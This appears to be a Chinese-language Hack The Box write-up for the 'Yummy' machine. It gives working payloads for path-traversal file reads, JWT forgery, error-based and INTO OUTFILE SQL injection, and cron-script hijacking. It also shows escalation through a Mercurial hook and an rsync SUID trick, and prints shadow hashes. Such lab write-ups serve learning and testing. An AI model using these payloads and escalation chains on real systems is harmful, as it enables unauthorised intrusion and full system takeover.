Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Yummy
https://www.hackthebox.com/achievement/machine/463126/628
Nmap
1 | $ sudo nmap -sS -sC -sV -oA save -vv -p- --min-rate 1000 10.129.4.95 |
Web
打開ip,得到一個域名,
看起來是某家餐廳,因爲看到有域名,所以掃一下子域名,掃完了結果什麽都沒有,那就應該是從這個網頁入手了。
看到有登陸,隨便注冊一個賬號
登陸後什麽也沒有,不過看到了一個預約的按鈕:
大概應該是預約某個點數上門吃飯。
右上角有一個按鈕,
隨便填了一下,得到類似於日曆表的東西:
點擊下載后就成功的下載了一個ics文件:
Internal Server Error ??
但是很神奇的是,當我第二次打開這個鏈接 http://yummy.htb/export/Yummy_reservation_20241008_220227.ics
就會出現 Internal Server Error
這就讓我很好奇,剛才是怎麽下載文件的,於是直接用burp看看:
然後在跳轉的時候請求這個文件:
就這樣玩了一段時間,得出結論:
- 先發送
GET /reminder/21
- 再發送
GET /export/Yummy_reservation_20241008_220424.ics
這樣才可以下載文件。
經驗之談:如果是靜態文件應該不會出現 Internal Server Error
,頂多出現 404 not found 之類的,所以就懷疑這裏是用函數實現的,
也就是說這裏存在 LFI 的幾率很高,於是嘗試一下:
結果還真有,過濾了一下 sh 之後,下面是這個系統的正常用戶:
1 | root:x:0:0:root:/root:/bin/bash |
Play with LFI
既然有了LFI,那就來請求敏感文件,首先翻了下 candy 的配置文件,
1 | :80 { |
沒有什麽有價值的東西,翻了下 /proc
也是沒有什麽有價值的東西,既然是這樣那就只能找一下系統的服務文件了,所以:
GET /export/../../../../../../etc/crontab
得到:
1 | */1 * * * * www-data /bin/bash /data/scripts/app_backup.sh |
這裏面有三個脚本。
GET /export/../../../../../../data/scripts/table_cleanup.sh
1 | #!/bin/sh |
這裏有個賬號密碼,嘗試爆破了下,沒有一個用戶是使用這個密碼。
GET /export/../../../../../../data/scripts/dbmonitor.sh
1 | #!/bin/bash |
一眼看下去就知道這個脚本有問題,因爲很少使用 /bin/bash xxx
的。
GET /export/../../../../../../data/scripts/app_backup.sh
1 | #!/bin/bash |
這裏好像有一個源碼,嘗試使用burp下載下來:
GET /export/../../../../../../var/www/backupapp.zip
保存成文件之後,可以直接用vim去除上面的垃圾:
然後解壓,
1 | $ unzip save.zip |
得到一堆代碼。
Source Code Review
看了一下這個 app.py
, 其中最有意思的是 /admindashboard
這個 api, 一眼看下去就知道有著很明顯的sqli味道:
然後jwt的算法也很明晰,就是普通的加密算法題:
Play with Crypto CTF
這是一個很常見的算法題,如果我知道p和q,我就得到 private key。我就可以使用這個private key 去簽名我的 jwt。
既然如此,還需要知道n,那麽n會在哪裏出現呢?
看了下源碼:
n 會在 cookie 中出現,所以可以從瀏覽器中獲取到這個 cookie:
放到 jwt.io 解密一下,就得到了n和e:
1 | { |
e 一般是固定的,不過可以拷打一下GPT,讓他給我一個脚本:
脚本如下:
1 | import sympy |
在源碼中告訴你,儅 role 是 administrator
的時候,才有機會去 /admindashboard
:
所以上面的脚本需要改成administrator
,之後生成一下,得到一個cookie:
修改一下,并且填寫回去 cookie 中,就成功的進入了 /admindashboard
這個頁面:
MySQL injection
從上面的源代碼也可以看到有一個地方是有mysql injection:
1 | sql = "SELECT * from appointments" |
翻譯成人話就是:
1 | SELECT * FROM appointments WHERE appointment_email LIKE %{$s}% order by appointment_date $o |
其中你可以看到這裏的 $s
是從?s=xxxxxx
中獲得,因爲經過了execute,所以這裏並沒有注入,但是 $o
有。
於是隨手敲點垃圾,看一下:
結果出現了錯誤,因爲顯示了錯誤,所以就肯定是 error-based 類型的注入,所以嘗試 dump 數據庫:
1 | ASC,ExtractValue('',Concat('%3d',(SELECT+group_concat(schema_name)+FROM+information_schema.schemata)))+--+- |
結果成功的顯示了數據,不過很可惜,經過一番操作后,數據庫裏面並沒有找到有用的數據,這裏就省略了扒數據的過程。
所以來看一下這個用戶的權限:
1 | GET /admindashboard?s=1&o=ASC,ExtractValue('',Concat('%3d',SUBSTRING((select+group_concat(concat_ws("%3a",grantee,+privilege_type,+is_grantable)+SEPARATOR+"|"+)+FROM+information_schema.user_privileges+)+,+1,+50)+))+--+- |
奇怪,這個用戶好像有 file
權限,默認不應該會有這個權限,也就是可以寫入一些文件?
注意:在 SQL 中,
is_grantable
是information_schema.user_privileges
表中的一個欄位,用於指示某個用戶是否可以將特定的權限授予其他用戶。具體來說:
- YES:表示該用戶可以將該權限授予其他用戶。
- NO:表示該用戶不能將該權限授予其他用戶。
而不是這個用戶有沒有權限的意思。
問題來了,如何寫入文件呢?
這是一般寫入文件的語法:
1 | select "mane" into outfile '/tmp/mane.txt' |
對應原本的payload則是:
1 | SELECT * FROM appointments WHERE appointment_email LIKE %{$s}% order by appointment_date %o into outfile '/tmp/mane.txt' |
所以 對於 ?o
的 payload 是:
1 | ASC into outfile '/tmp/mane.txt' |
可以看到,寫入的文件的内容是從數據庫裏面提取,如果可以控制往數據庫裏面寫一些payload,就可以控制文件寫入的内容。
剛好 Book a table
這個表單就是往數據庫裏面寫一些内容。
但問題是,真的可以寫入文件嗎?爲了驗證可行性,隨手使用payload試一下:
1 | GET /admindashboard?s=1&o=ASC+into+outfile+'/etc/mane' HTTP/1.1 |
還真可以,也就是說可以用sqli寫入一些文件。
Write some data in to file?
在上面的crontab中有一行 * * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
這意味著 mysql 是有權限寫入 /data/scripts/dbmonitor.sh
, 不過很可惜,mysql injection 不允許你覆蓋文件,不過允許你創建文件,觀察這個源碼:
這兩行很明顯就是在一個文件夾裏面獲取版本最高的文件,如果後面的數字越大,就會優先執行,比如:
儅出現 /data/scripts/fixer-v900
和 /data/scripts/fixer-v901
,則先執行 /data/scripts/fixer-v901
。
也就是說如果可以往這個文件寫一些文件,就可以用它來執行一個shell。
不過,這裏還有另一個條件:
也就是說我需要寫入 /data/scripts/dbstatus.json
,裏面的内容不重要,只要不包括 database is down
就可以了,這個條件很容易滿足,
好在可以使用 select xxx into outfile '/tmp/mane.txt'
去寫一堆垃圾進去。
既然上面説過,如果可以控制往數據庫裏面寫一些payload,就可以控制文件寫入的内容,所以就嘗試寫一個rce:
因爲有其他的内容,可以很巧妙的運用 ?s=xxx
來過濾掉其他垃圾信息,只要想要的信息即可:
這裏有一個小技巧,因爲 select xxx into outfile
允許你切換分隔符,語法如下:
-
FIELDS TERMINATED BY '\n'
指定字段之间的分隔符。 -
LINES TERMINATED BY '\n'
指定每行的结束符为换行符。
也就是說儅數據庫select 一堆東西的回來的時候,本質上是一個表格,格與格之間如何區分全靠你給的SQL語法,所以:
1 | select xxxx into outfile '/data/scripts/fixer-v900' FIELDS TERMINATED BY '\n' LINES TERMINATED BY '\n' |
這樣子文件看起來類似是這樣的:
1 | 21 |
所以第一個 payload 應該就是這樣:
1 | GET /admindashboard?s=mane&o=ASC+into+outfile+'/data/scripts/fixer-v901'+FIELDS+TERMINATED+BY+'\n'++LINES+TERMINATED+BY+'\n' HTTP/1.1 |
別忘了,要創建 /data/scripts/dbstatus.json
,内容不重要,這裏我就隨便改個名字:
1 | GET /admindashboard?s=mane&o=ASC+into+outfile+'/data/scripts/dbstatus.json'+FIELDS+TERMINATED+BY+'\n'++LINES+TERMINATED+BY+'\n' HTTP/1.1 |
然後等待了一段時間之後,得到了rce:
Shell as mysql to www-data
還記得上面有一個 crontab嗎?他是以 www-data 運行的:
1 | */1 * * * * www-data /bin/bash /data/scripts/app_backup.sh |
看了一下這個目錄的權限,驚奇的發現 rwx
:
沒權限修改而已,又不是說不可以刪除,我刪除掉然後然後寫入一個新的,這個文件的權限就是我的:
1 | mysql@yummy:/data/scripts$ rm -rf app_backup.sh |
然後得到了 www-data
:
Shell as www-data to user
www-data 一般可以讀取 /var/www/
文件夾了,所以去看看有沒有可能放了數據庫密碼:
驚奇的發現 .hg
,這個非常類似於 git, 所以看一下提交日志:
看看patch的歷史記錄:
翻到了一個賬號密碼:
1 | - 'user': 'qa', |
因爲這個用戶的名字和系統的用戶一樣,所以嘗試登陸一下:
得到 user.txt
。
Shell as qa and exploit hg hook to command execution
看一下 sudo -l
,看起來需要到達 dev
這個用戶:
查了一下,發現可以使用 hook
來得到 命令執行:https://book.mercurial-scm.org/read/hook.html
這裏又拷打了一下 GPT:
總結就是新建一個文件夾,裏面 .hg/hgrc
要放上惡意的 hook,這樣就允許你直接執行命令,如下:
1 | $ cd /tmp |
然後得到 dev
這個用戶:
Shell as dev
同樣的,看一下 sudo -l
:
是 rsync
,不過這裏的 *
非常危險:
1 | # 限制是: |
所以嘗試複製一個 root.txt
出來看看:
1 | $ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../root/root.txt --chmod=777 /opt/app/ |
結果還真可行,既然可以修改權限,那麽就可以加個 suid
:
1 | $ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../bin/bash --chmod=4777 /opt/app/ |
然後得到 root 。
Hashes
1 | root:$y$j9T$VFiopFqX2qPhPh4xaO0Gd/$t9kjP.3F4.0JsG5ZYe.e2vSY1A/71UzvQANY4SToQ98:19871:0:99999:7::: |
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)